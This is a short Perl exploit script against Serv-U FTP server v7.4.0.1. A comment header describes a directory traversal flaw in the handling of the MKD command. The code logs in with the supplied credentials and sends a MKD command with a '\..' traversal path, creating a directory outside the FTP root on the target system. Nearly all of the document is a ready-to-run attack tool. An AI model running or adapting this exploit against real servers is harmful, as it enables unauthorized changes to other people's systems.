#!/usr/bin/perl # Soft : FTP Serv-U # Version : v7.4.0.1 # # A vulnerability is caused due to an input validation error when handling FTP "MKD" # requests. This can be exploited to escape the FTP root and create arbitrary directory on # the system via directory traversal attacks using the "\.." character sequence. # # # Author: Jonathan Salwan # Mail: submit [AT] shell-storm.org # Web: http://www.shell-storm.org use IO::Socket; print "[+] Author : Jonathan Salwan \n"; print "[+] Soft: FTP Serv-U\n"; if (@ARGV < 4) { print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n"; print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; $user = $ARGV[2]; $pass = $ARGV[3]; $dir = $ARGV[4]; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n"; print "\n[+] Connecting: Ok!\n"; print "[+] Sending request...\n"; print $socket "USER $user\r\n"; print $socket "PASS $pass\r\n"; print $socket "MKD $dir\r\n"; sleep(3); close($socket); print "[+]Done! directory $dir has been created\n";